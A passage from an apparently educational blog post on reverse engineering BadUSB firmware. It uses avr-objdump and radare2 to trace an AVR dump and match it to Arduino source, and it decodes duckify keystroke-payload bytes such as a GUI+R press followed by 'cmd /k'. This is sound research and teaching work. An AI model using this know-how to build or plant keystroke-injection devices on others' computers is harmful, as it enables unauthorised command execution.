<span id="cb6-28">      10:       65 c3           rjmp    .+1738          ;  0x6dc</span>
<span id="cb6-29">      12:       64 c3           rjmp    .+1736          ;  0x6dc</span>
<span id="cb6-30">      14:       63 c3           rjmp    .+1734          ;  0x6dc</span>
<span id="cb6-31">      16:       62 c3           rjmp    .+1732          ;  0x6dc</span>
<span id="cb6-32">      18:       61 c3           rjmp    .+1730          ;  0x6dc</span>
<span id="cb6-33">      1a:       60 c3           rjmp    .+1728          ;  0x6dc</span>
<span id="cb6-34">      1c:       5f c3           rjmp    .+1726          ;  0x6dc</span>
<span id="cb6-35">      1e:       2c 5e           subi    r18, 0xEC       ; 236   </span>
<span id="cb6-36">      20:       74 60           ori     r23, 0x04       ; 4     </span>
<span id="cb6-37">      22:       61 62           ori     r22, 0x21       ; 33    </span>
<span id="cb6-38">      24:       64 34           cpi     r22, 0x44       ; 68    </span>
<span id="cb6-39">      26:       66 67           ori     r22, 0x76       ; 118   </span>
<span id="cb6-40">      28:       65 6e           ori     r22, 0xE5       ; 229   </span>
<span id="cb6-41">      2a:       36 2d           mov     r19, r6                 </span>
<span id="cb6-42">      2c:       37 38           cpi     r19, 0x87       ; 135   </span>
<span id="cb6-43">      2e:       27 1e           adc     r2, r23                 </span>
<span id="cb6-44">      30:       1f 20           and     r1, r15                 </span>
<span id="cb6-45">      32:       21 22           and     r2, r17                 </span>
<span id="cb6-46">...</span></code></pre></div></div>
<p><code>avr-objdump</code> is simple and easy to use, but it’s not the best tool for reverse engineering a full firmware.</p>
<p>There are other similar alternatives like <a href="https://linux.softpedia.com/get/Programming/Disassemblers/vAVRdisasm-28478.shtml">vAVRdisasm</a>, <a href="https://github.com/twinearthsoftware/AVRDisassembler">AVRDisassembler</a>, or <a href="https://www.johannes-bauer.com/mcus/avrdisas/">avrdisas</a>, but they are a bit old and have basic features too.</p>
<p>Other advanced disassembler and decompiler alternatives that support AVR include Ghidra, IDA Pro, Binary Ninja, and Hopper. However, <a href="https://rada.re/">radare2</a> is my favorite &lt;3</p>
</section>
</section>
<section id="learning-avr" class="level2">
<h2 class="anchored" data-anchor-id="learning-avr">Learning AVR</h2>
<p>Now that we have a memory dump and we can read assembly code, it’s time to learn a bit more about AVR Assembly to understand what is going on.</p>
<section id="introduction-to-avr-assembly" class="level3">
<h3 class="anchored" data-anchor-id="introduction-to-avr-assembly">Introduction to AVR assembly</h3>
<p>AVR assembly language is a low-level language specific to the AVR family of microcontrollers. Understanding AVR assembly requires familiarity with its instruction set and architecture.</p>
<p>Here are some basics to get started:</p>
<ul>
<li><p><strong>Memory</strong>: The memory in AVR microcontrollers includes Flash memory for storing the program, SRAM for data, and EEPROM for non-volatile data storage. More information about the memory map can be found in a <a href="../reversing_badusb_1#memory-map">previous blog post</a>.</p></li>
<li><p><strong>Registers</strong>: AVR microcontrollers have 32 general-purpose working registers, named R0 to R31. Additionally, there are special-purpose double registers like X (R26,R27), Y (R28,R29), and Z (R30,R31), which are used for memory addressing operations.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/atmel_avr_registers.png" title="Common AVR Registers" class="img-fluid"></p></li>
</ul>
</section>
<section id="useful-resources" class="level3">
<h3 class="anchored" data-anchor-id="useful-resources">Useful resources</h3>
<ul>
<li><p><strong>AVR® Instruction Set Manual</strong>: The <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/AVR-Instruction-Set-Manual-DS40002198A.pdf">AVR® Instruction Set Manual</a> from Microchip is the official document detailing each instruction. However, it can be dense and challenging to read straight through. It’s useful for looking up specific instructions or clarifying doubts.</p></li>
<li><p><strong>Hackaday Course</strong>: The <a href="https://hackaday.io/course/176685-avr-architecture-assembly-reverse-engineering">AVR: Architecture, Assembly &amp; Reverse Engineering</a> course by Uri Shaked and Hackaday is extremely useful to understand low level AVR. It’s a full course covering very interesting topics about AVR and practical reverse engineering techniques.</p></li>
</ul>
</section>
<section id="understanding-instructions" class="level3">
<h3 class="anchored" data-anchor-id="understanding-instructions">Understanding instructions</h3>
<p>Learning common instructions is crucial for understanding AVR assembly. Here are a couple examples of how instructions are documented in the datasheet:</p>
<ul>
<li><strong>LDI</strong> (Load Immediate): Loads an 8-bit constant directly to a register.</li>
</ul>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/instruction_ldi.png" title="Instruction LDI" class="img-fluid"></p>
<ul>
<li><strong>OUT</strong> (Output): Transfers data from a register to an I/O location.</li>
</ul>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/instruction_out.png" title="Instruction OUT" class="img-fluid"></p>
<p>By familiarizing ourselves with these instructions and registers, we can begin to piece together what the assembly code is doing.</p>
<p>Understanding AVR assembly takes time and practice. My approach was to dive straight into the assembly code and refer to the documentation as needed. Over time, you’ll start to recognize and understand more parts of the code.</p>
</section>
</section>
<section id="reversing-with-radare2" class="level2">
<h2 class="anchored" data-anchor-id="reversing-with-radare2">Reversing with radare2</h2>
<section id="entrypoint-and-bootloaders" class="level3">
<h3 class="anchored" data-anchor-id="entrypoint-and-bootloaders">Entrypoint and bootloaders</h3>
<p>After the initial analysis with <code>aaa</code>, we can find basic information about the memory dump:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_init.png" title="r2 command i: show info of current file" class="img-fluid"></p>
<p>The entrypoint is detected at <code>0x00692</code></p>
<p>The keyboard type is easily found by searching for strings, but the full payload is encoded inside the binary data.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_strings.jpg" title="r2 command izz: search for Strings in the whole binary" class="img-fluid"></p>
<p>Looking at the graph of the entrypoint function, we can see a more or less familiar structure.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_graph_entry.png" title="graph of entry0" class="img-fluid"></p>
<p>The LiveOverflow video <a href="https://www.youtube.com/watch?v=yJbnsMKkRUs">Identify Bootloader main() and find Button Press Handler - Hardware Wallet Research #5</a> is an excellent resource showing a similar initialization routine.</p>
<p><a href="https://www.youtube.com/watch?v=yJbnsMKkRUs"><img src="https://0xlibris.net/posts/reversing_badusb_3/img/bootloader_init.jpg" class="img-fluid"></a></p>
<p>It’s practically the same RAM initialization routine, or bootloader initialization:</p>
<ul>
<li>Copy static data from ROM to RAM</li>
<li>RAM is empty on startup</li>
<li>Clear the rest of RAM</li>
<li>Call the <code>main()</code> function</li>
</ul>
<p>We flashed our code directly using <code>avrdude</code> without specifying the bootloader, and a minimal initialization is what we see at the <code>entry0</code>.</p>
<p>Following the graph, we can find the main function (renamed by me):</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_entry2main.png" title="main function inside entrypoint graph" class="img-fluid"></p>
</section>
<section id="main-function" class="level3">
<h3 class="anchored" data-anchor-id="main-function">Main function</h3>
<p>The main function is quite large and can be summarized into two different parts.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_main_summary.png" title="r2 main summary" class="img-fluid"></p>
<section id="first-part" class="level4">
<h4 class="anchored" data-anchor-id="first-part">First part</h4>
<p>The first part is a hardware initialization, using I/O registers. Radare2 helps a lot with annotations.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_hw_init.jpg" title="r2 main hardware init" class="img-fluid"></p>
<p>I/O registers in AVR are special memory locations used to control hardware peripherals like timers, counters, serial ports, and other internal components. Each I/O register is associated with a specific function or hardware feature.</p>
<p>There are a lot of <code>in</code>, <code>out</code>, <code>andi</code>, and <code>ori</code> instructions, used to configure these registers.</p>
<ul>
<li><code>in</code>: <strong>Load an I/O Location to Register</strong>. Loads data from the I/O Space (Ports, Timers, Configuration Registers, etc.) into register Rd in the Register File.</li>
<li><code>out</code>: <strong>Store Register to I/O Location</strong>. Stores data from register Rr in the Register File to I/O Space (Ports, Timers, Configuration Registers, etc.).</li>
<li><code>andi</code>: <strong>Logical AND with Immediate</strong>. Performs the logical AND between the contents of register Rd and a constant, and places the result in the destination register Rd.</li>
<li><code>ori</code>: <strong>Logical OR with Immediate</strong>. Performs the logical OR between the contents of register Rd and a constant, and places the result in the destination register Rd.</li>
</ul>
</section>
<section id="second-part" class="level4">
<h4 class="anchored" data-anchor-id="second-part">Second part</h4>
<p>The second part of the main function contains the actual code that calls a lot of different functions, and also runs inside a loop.</p>
<p>By comparing the main function from the disassembly with the source code, and renaming some functions for clarity, we can see a clear correlation between them.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_main_compare_edit.jpg" title="Compare radare2 disassembly with arduino source code" class="img-fluid"></p>
<p>We can also verify that the arguments match between the assembly and the source code.</p>
<p>For example, the <code>digi.delay</code> function arguments can be compared:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_delay_args_5000.png" title="delay assembly arguments" class="img-fluid"></p>
<p><code>delay(5000)</code> in the source code is confirmed by the assembly:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb7-1">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x88</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bin</span></span>
<span id="cb7-2">binary  <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b10001000</span></span>
<span id="cb7-3">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bin</span></span>
<span id="cb7-4">binary  <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b00010011</span></span>
<span id="cb7-5">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b0001001110001000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span></span>
<span id="cb7-6">int32   <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5000</span></span></code></pre></div></div>
<p>Similarly, <code>delay(1000)</code> is confirmed as well:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_delay_args_1000.png" title="delay assembly arguments" class="img-fluid"></p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb8-1">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xe8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bin</span></span>
<span id="cb8-2">binary  <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b11101000</span></span>
<span id="cb8-3">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x03</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bin</span></span>
<span id="cb8-4">binary  <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b00000011</span></span>
<span id="cb8-5">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0b0000001111101000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span></span>
<span id="cb8-6">int32   <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span></span></code></pre></div></div>
<p>The arguments for the <code>sendKeyStroke()</code> functions also match:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_send_key_args.png" title="sendKeyStroke assembly arguments" class="img-fluid"></p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb9-1">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x15</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span></span>
<span id="cb9-2">int32   <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span></span>
<span id="cb9-3">[<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00000f7c</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> ? <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x08</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">~</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span></span>
<span id="cb9-4">int32   <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span></span></code></pre></div></div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb10-1">DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// GUI R</span></span></code></pre></div></div>
<p>The <code>duckyString()</code> function has two arguments: the pointer to the encoded keys and the length.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb11-1">duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING cmd /k</span></span></code></pre></div></div>
<p>The disassembly shows the two arguments (r22+r23 and r24+r25):</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_duckystring.png" title="duckyString assembly arguments" class="img-fluid"></p>
<p>We can validate that the size is 12 and the contents are at address <code>*0x675</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb12-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0c</span></span>
<span id="cb12-2"><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span></span>
<span id="cb12-3"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f'0x</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x06</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:x}{</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x75</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:x}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span></span>
<span id="cb12-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">'0x675'</span></span></code></pre></div></div>
<p>Examining 12 bytes starting at this memory address in radare:</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_3/img/r2_cmd.png" title="examining memory in radare using the command px" class="img-fluid"></p>
<p>And the original values in the source code were:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb13-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// cmd /k</span></span>
<span id="cb13-2"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">7</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">44</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">56</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">14</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span></code></pre></div></div>
<p>Everything is starting to make sense!</p>
<p>At this point, we have identified the initialization routine or bootloader, the main loop function, and all the important functions and arguments at a high level. We have also learned that the payload to be injected is somewhere in memory and can be found, read, and decoded.</p>
<p>Let’s continue our reversing process to retrieve all the decoded values.</p>
</section>
</section>
</section>
<section id="decode-payload-bytes" class="level2">
<h2 class="anchored" data-anchor-id="decode-payload-bytes">Decode payload bytes</h2>
<p>In my exercise I used the BadUSB converter tool <a href="https://duckify.huhn.me/">duckify.huhn.me</a> to build the sketches with my ducky script payloads. This webapp tool is based on the code from <a href="https://github.com/SpacehuhnTech/duckify">duckify</a>. By examining the source code, I found that it relies on various mappings and JSON files containing the values for each character corresponding to different languages and operating systems.</p>
<p>To reverse-engineer the values, the idea was to guess the keyboard language and operating system, and then refer to the relevant json file for the corresponding values.</p>
<p>However, it was a bit more complicated than anticipated.</p>
<section id="reviewing-the-duckifys-source-code" class="level3">
<h3 class="anchored" data-anchor-id="reviewing-the-duckifys-source-code">Reviewing the duckify’s source code</h3>
<p>The possible key mappings are defined in json files within a <code>library</code> folder. The conversion of these mappings is handled in <a href="https://github.com/SpacehuhnTech/duckify/blob/main/src/converter/arduinoConverter.js">arduinoConverter.js</a>.</p>
<p>The conversion works by reading lines of the Ducky Script and processing them based on the verb (<code>REM</code>, <code>STRING</code>, <code>DELAY</code>, etc.). The <code>STRING</code> verbs, which contain the payloads to be automatically injected, are particularly interesting. The main code that handles <code>STRING</code> lines is:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb14-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span>
<span id="cb14-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING</span></span>
<span id="cb14-3"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (line<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">startsWith</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'STRING '</span>)) {</span>
<span id="cb14-4">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> keyArrays<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">length</span></span>
<span id="cb14-5">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> line<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">substring</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">7</span>)</span>
<span id="cb14-6">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> comment <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">commentEscape</span>(value)</span>
<span id="cb14-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> shortComment <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">commentCut</span>(value)</span>
<span id="cb14-8"></span>
<span id="cb14-9">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">addCodeLine</span>(<span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`duckyString(key_arr_</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>i<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">, sizeof(key_arr_</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>i<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">)); // STRING </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">${</span>shortComment<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`</span>)</span>
<span id="cb14-10"></span>
<span id="cb14-11">    keyArrays<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">push</span>({</span>
<span id="cb14-12">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">comment</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> comment<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb14-13">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">value</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">encodeString</span>(value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> layout<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> i)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb14-14">    })</span>
<span id="cb14-15">}</span>
<span id="cb14-16"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span></code></pre></div></div>
<p>The function that encodes the line is as follows:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb15-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">encodeString</span>(value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> layout<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> i)</span></code></pre></div></div>
<p>The layout used for encoding is one of the options listed <a href="https://github.com/SpacehuhnTech/duckify/blob/main/src/library/layoutList.js">here</a>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb16-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> win_be <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'./win/be.json'</span></span>
<span id="cb16-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> win_bg <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'./win/bg.json'</span></span>
<span id="cb16-3"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> win_cacms <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'./win/ca-cms.json'</span></span>
<span id="cb16-4"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> win_cafr <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'./win/ca-fr.json'</span></span>
<span id="cb16-5"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> win_chde <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'./win/ch-de.json'</span></span>
<span id="cb16-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span></span></code></pre></div></div>
<p>Each layout is a json file with entries like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb17-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb17-2">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"char"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"a"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-3">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"code"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"KeyA"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-4">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"alt"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-5">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"altGr"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb17-6">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"shift"</span><span class="fu" style="color: #4758AB;
background-color: null;
